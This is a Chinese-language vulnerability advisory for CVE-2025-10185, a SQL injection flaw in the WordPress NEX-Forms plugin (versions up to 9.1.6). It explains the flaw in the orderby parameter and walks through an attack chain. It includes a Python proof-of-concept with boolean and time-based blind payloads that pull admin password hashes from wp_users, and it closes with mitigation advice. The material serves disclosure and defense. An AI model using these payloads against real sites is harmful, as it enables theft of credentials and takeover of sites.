IPBUF安全漏洞报告
English
CVE-2025-10185 CVSS 4.9 中危

CVE-2025-10185:WordPress NEX-Forms插件SQL注入漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-10185
漏洞类型
SQL注入
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
NEX-Forms – Ultimate Forms Plugin for WordPress

相关标签

SQL注入WordPressNEX-Forms插件漏洞CVE-2025-10185认证后漏洞数据库安全Wordfence

漏洞概述

CVE-2025-10185是WordPress的NEX-Forms – Ultimate Forms表单插件中存在的一个SQL注入漏洞。该插件是一款广泛使用的WordPress表单构建工具,允许用户创建各种类型的表单。漏洞存在于插件的`nf_load_form_entries`动作中,具体位于`orderby`参数的处理逻辑中。

该漏洞的根本原因在于插件对用户通过`orderby`参数传入的数据未进行充分的转义处理,同时也未对现有的SQL查询进行充分的预处理(如使用参数化查询)。这使得经过身份验证的攻击者(需要管理员级别及以上权限)能够将额外的SQL查询附加到现有查询之后,从而从数据库中提取敏感信息。

值得注意的是,如果站点管理员授予了较低权限的用户相应访问权限,该漏洞也可能被低权限用户利用。攻击者可以通过精心构造的SQL注入payload,利用UNION查询或时间盲注等技术,从WordPress数据库中提取包括用户凭证哈希、个人信息、站点配置等敏感数据。该漏洞由Wordfence安全团队的研究员发现,并于2025年10月11日公开披露。

技术细节

该SQL注入漏洞位于NEX-Forms插件的`includes/classes/class.db.php`文件中,具体在处理`nf_load_form_entries` AJAX动作时触发。当用户提交表单条目加载请求时,插件会从请求中获取`orderby`参数,并将其直接拼接到SQL查询的ORDER BY子句中,而未进行适当的转义或参数化处理。

技术原理如下:
1. 插件接收来自认证用户的AJAX请求,调用`nf_load_form_entries`动作。
2. 该动作从用户输入中提取`orderby`参数的值。
3. 该值被直接拼接到SQL查询语句中,例如:`SELECT * FROM wp_nf_entries ORDER BY [用户输入]`。
4. 由于缺乏`$wpdb->prepare()`等预处理函数的使用以及适当的输入转义,攻击者可以注入恶意SQL代码。
5. 攻击者可以利用UNION SELECT从其他数据表中提取数据,或使用基于时间的盲注技术逐字节提取敏感信息。

利用条件:攻击者需要具有管理员级别的WordPress账户访问权限,或者由管理员授予了相应权限的较低权限用户。漏洞影响所有9.1.6及以下版本。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者首先需要获取WordPress站点的管理员级别账户凭据。这可以通过钓鱼攻击、暴力破解、购买泄露的凭据或利用其他漏洞来实现。
STEP 2
步骤2:登录WordPress后台
使用获取的管理员凭据登录目标WordPress站点的后台管理界面,获取有效的认证Cookie和nonce值。
STEP 3
步骤3:构造SQL注入payload
攻击者构造针对`orderby`参数的恶意SQL注入payload,可以是UNION查询注入或时间盲注payload,用于从数据库中提取敏感信息。
STEP 4
步骤4:发送恶意AJAX请求
通过POST请求向`/wp-admin/admin-ajax.php`发送带有恶意`orderby`参数的`nf_load_form_entries`动作请求,利用插件缺乏输入转义的漏洞执行SQL注入。
STEP 5
步骤5:提取敏感数据
从服务器响应中提取注入的SQL查询结果,包括管理员密码哈希、用户个人信息、站点配置等敏感数据。
STEP 6
步骤6:进一步渗透
利用提取的管理员密码哈希进行离线破解,获取明文密码后可以完全控制WordPress站点,包括上传恶意插件、修改内容或植入后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10185 SQL Injection PoC # Target: NEX-Forms WordPress Plugin <= 9.1.6 # Vulnerable Parameter: orderby in nf_load_form_entries action # Note: Requires authenticated access (Administrator level) import requests # WordPress site URL and authenticated session cookies TARGET_URL = "https://target-wordpress-site.com" COOKIES = { "wordpress_logged_in_[HASH]": "YOUR_AUTH_COOKIE_VALUE", "wordpress_sec_[HASH]": "YOUR_SEC_COOKIE_VALUE" } # WordPress REST API/AJAX nonce (required for authenticated AJAX requests) NONCE = "YOUR_WORDPRESS_NONCE" def exploit_sqli(target_url, cookies, nonce): """ Exploit SQL injection via 'orderby' parameter in nf_load_form_entries action. Uses UNION-based injection to extract sensitive data. """ # The vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload: Inject via orderby parameter # Extract WordPress user credentials (user_login, user_pass) payload = ( "(SELECT IF(SUBSTR(user_pass,1,1)=BINARY CHAR(49),1,(SELECT table_name " "FROM information_schema.tables LIMIT 1))) ASC-- -" ) # Alternative UNION-based payload for direct data extraction # payload = "id ASC, (SELECT user_pass FROM wp_users WHERE ID=1) ASC-- -" data = { "action": "nf_load_form_entries", "orderby": payload, "form_id": "1", "_wpnonce": nonce } response = requests.post(ajax_url, data=data, cookies=cookies) if response.status_code == 200: print(f"[+] Response received: {response.text[:500]}") # Parse response to extract sensitive data return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None def time_based_sqli(target_url, cookies, nonce): """ Time-based blind SQL injection variant for data extraction when UNION queries are filtered. """ import time ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Time-based payload to extract admin password hash character by character # SLEEP(5) will cause a 5-second delay if the condition is true payload = ( "(SELECT IF(SUBSTRING((SELECT user_pass FROM wp_users " "WHERE user_login='admin'),1,1)='a',SLEEP(5),0))-- -" ) data = { "action": "nf_load_form_entries", "orderby": payload, "form_id": "1", "_wpnonce": nonce } start_time = time.time() response = requests.post(ajax_url, data=data, cookies=cookies) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Time-based injection confirmed (delay: {elapsed:.2f}s)") print("[+] First character of admin password hash is 'a'") else: print(f"[-] No delay detected (elapsed: {elapsed:.2f}s)") # Run the exploit if __name__ == "__main__": print("[*] CVE-2025-10185 - NEX-Forms SQL Injection Exploit") print("[*] WARNING: Use only on systems you are authorized to test") exploit_sqli(TARGET_URL, COOKIES, NONCE) # time_based_sqli(TARGET_URL, COOKIES, NONCE)

影响范围

NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.1.6

防御指南

临时缓解措施
在等待官方补丁期间,建议采取以下临时缓解措施:1)限制NEX-Forms插件的使用范围,仅在必要时启用;2)通过WAF规则阻止包含SQL关键字(如UNION、SELECT、SLEEP等)的`orderby`参数请求;3)审查并限制具有管理员权限的用户数量;4)监控admin-ajax.php的异常请求日志;5)暂时禁用nf_load_form_entries相关的AJAX动作处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表